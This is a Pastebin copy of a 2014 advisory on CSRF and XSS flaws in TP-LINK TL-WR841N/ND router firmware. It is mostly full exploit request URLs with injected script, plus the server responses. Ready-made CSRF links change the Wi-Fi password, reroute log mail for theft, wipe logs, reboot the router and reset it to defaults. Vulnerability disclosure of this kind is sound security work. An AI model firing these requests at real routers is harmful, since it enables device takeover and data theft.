Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
- [ Home ] [ Description ]
- /////////////////////////////////////////////////////////////////
- Full title TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
- Date add 2014-06-30
- Category web applications
- Platform hardware
- Risk [<font color="#FFBF00">Security Risk High</font>]
- Vendor tplink.com
- Affected ver TL-WR841N / TL-WR841ND
- Tested on Firmware Version - 3.13.27 Build 121101 Rel.38183n, Hardware Version - WR841N v8 00000000 [at] Linux
- Solution CSRF prevention mechanism and solid parameters filtration.
- =========================================================
- Description:
- TP-LINK TL-WR841N / TL-WR841ND are vulnerable to many CSRF and XSS attacks because of no CSRF prevention technique and poor parameters filtration. Attacker is able to compromise router and steal config & log files.
- ---------------------------------------------------------
- #Title: TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
- #Date: 30.06.14
- #Vendor: TP-LINK
- #Affected versions: TL-WR841N / TL-WR841ND
- #Tested on: Firmware Version - 3.13.27 Build 121101 Rel.38183n, Hardware Version - WR841N v8 00000000 [at] Linux
- #Contact: smash [at] devilteam.pl
- #1 - Reflected XSS in Wireless Settings
- Vulnerable parameters - ssid1, ssid2, ssid3, ssid4.
- Variables of ssid parameters are being included to wlanPara array. Because of poor filtration of those values, it is able to execute specific javascript command as shown below.
- While system log and config is being saved as local file (http://192.168.0.1/userRpm/SystemLog.txt & http://192.168.0.1/userRpm/config.bin), it is able to hjiack both via xss.
- Request:
- http://192.168.0.1/userRpm/WlanNetworkRpm.htm?ssid1=ROUTERNAME</script><script>alert(123)</script>&ssid2=ROUTERNAME_2&ssid3=ROUTERNAME_3&ssid4=ROUTERNAME_4®ion=101&band=0&mode=5&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save
- Response:
- HTTP/1.1 200 OK
- Server: Router Webserver
- Connection: close
- Content-Type: text/html
- WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
- (...)
- <SCRIPT language="javascript" type="text/javascript">
- var wlanPara = new Array(
- 0,8,0,"ROUTERNAME</script><script>alert(123)</script>",108,101,1,5,1,1,15,2,71,0,0,0,"cript>","ROUTERNAME_3","ROUTERNAME_4",691810163,0,0,0,"","",1,"",1,1,3,3,0,1,1,36,0,0,"","","","","","","","",1,"",0,"","",1,0,0,1,0,1,0,0 );
- </SCRIPT>
- #2 - Persistent XSS & CSRF in Wireless Security Settings
- Vulnerable parameter - pskSecret.
- Same as above, variable of pskSecret (password) is being included in javascript array. Because of no CSRF prevention, it is able to change the password by visiting url below. pskSecret value is responsible for further password.
- Request:
- http://192.168.0.1/userRpm/WlanSecurityRpm.htm?secType=3&pskSecOpt=2&pskCipher=3&pskSecret=test&interval=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save
- Response:
- HTTP/1.1 200 OK
- Server: Router Webserver
- Connection: close
- Content-Type: text/html
- WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
- <SCRIPT language="javascript" type="text/javascript">
- var wlanPara = new Array(
- 8, 1, 3, "332", 1, 0, "", 1812, "", "</script><script>alert(123)</script>", 1, 0, 0, 1, 3, 0, 0, 0, 5, 0, 1, "", 1,
- 0,0 );
- </SCRIPT>
- #3 - Persistent XSS & CSRF in Mail Settings
- Vulnerable parameters - FromAddr, ToAddr, SMTPAddr.
- Reason is the same.
- Request:
- http://192.168.0.1/userRpm/AutoEmailRpm.htm?FromAddr=test%40test.com&ToAddr=test1%40test.com&SMTPAddr=</script><script>alert(123)</script>&User=&Password=&VeriPass=&Save=Save
- Response:
- HTTP/1.1 200 OK
- Server: Router Webserver
- Connection: close
- Content-Type: text/html
- WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
- <SCRIPT language="javascript" type="text/javascript">
- var autoEmailConf = new Array(
- "test@test.com",
- "test1@test.com",
- "</script><script>alert(123)</script>",
- 0,
- "",
- 0,
- 0,
- 0,
- 0,
- 0,0 );
- </SCRIPT>
- It is able to steal system logs by forcing our victim to set our mail settings via csrf, then logs will be send after visiting address below:
- http://192.168.0.1/userRpm/SystemLogRpm.htm?doMailLog=2
- #4 - Persistent XSS & CSRF in Time Settings
- Vulnerable parameters - ntpA & ntpB.
- Request:
- http://192.168.0.1/userRpm/DateTimeCfgRpm.htm?timezone=0&month=7&day=1&year=2014&hour=2&minute=44&second=18&ntpA=</script><script>xssed<>&ntpB=&isTimeChanged=0&start_month=0&start_count=0&start_week=1&start_hour=0&end_month=0&end_count=0&end_week=1&end_hour=0&isDaylightSavingChanged=0&Save=Save
- Response:
- HTTP/1.1 200 OK
- Server: Router Webserver
- Connection: close
- Content-Type: text/html
- WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
- <SCRIPT language="javascript" type="text/javascript">
- var timeInf = new Array(
- 7,
- 1,
- 2014,
- 2,
- 58,
- 52,
- 0,
- "</script>xssed<>",
- "0.0.0.0",
- 2,
- 2,
- 0,
- 2,
- 10,
- 1,
- 0,
- 3,
- 0,
- 0,
- 0,0 );
- </SCRIPT>
- #5 - Persistent XSS & CSRF in Dynamic DNS settings
- Vulnerable parameters - username, password, cliUrl.
- Request:
- http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=</script><script>alert(123)</script>&pwd=password&cliUrl=&Save=Save
- Response:
- HTTP/1.1 200 OK
- Server: Router Webserver
- Connection: close
- Content-Type: text/html
- WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
- <SCRIPT language="javascript" type="text/javascript">
- var serInf = new Array(
- "</script><script>alert(123)</script>",
- "password",
- "",
- 0,
- 0,
- 3,
- 2,
- 0,
- 1,
- 0,0 );
- </SCRIPT>
- #6 - Persistent XSS & CSRF in DHCP settings
- Vulnerable parameter - domain.
- Request:
- http://192.168.0.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.0.100&ip2=192.168.0.199&Lease=120&gateway=192.168.0.1&domain=</script>xssed<>&dnsserver=0.0.0.0&dnsserver2=0.0.0.0&Save=Save
- Response:
- HTTP/1.1 200 OK
- Server: Router Webserver
- Connection: close
- Content-Type: text/html
- WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
- <SCRIPT language="javascript" type="text/javascript">
- var DHCPPara = new Array(
- 1,
- "192.168.0.100",
- "192.168.0.199",
- 120,
- "192.168.0.1",
- "</script>xssed<>",
- "0.0.0.0",
- "0.0.0.0",
- 1,
- 0,0 );
- </SCRIPT>
- #7 - Other CSRF's
- a) Clear system logs
- http://192.168.0.1/userRpm/SystemLogRpm.htm?logType=0&logLevel=7&ClearLog=Clear+Log&selPage=1&Page=1
- b) Reboot device
- http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reboot
- c) Factory defaults reset (admin:admin)
- http://192.168.0.1/userRpm/RestoreDefaultCfgRpm.htm?Restorefactory=Restore
- Actually, there is no prevention technique to avoid csrf in this one; bug's pointed above are most interesting.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement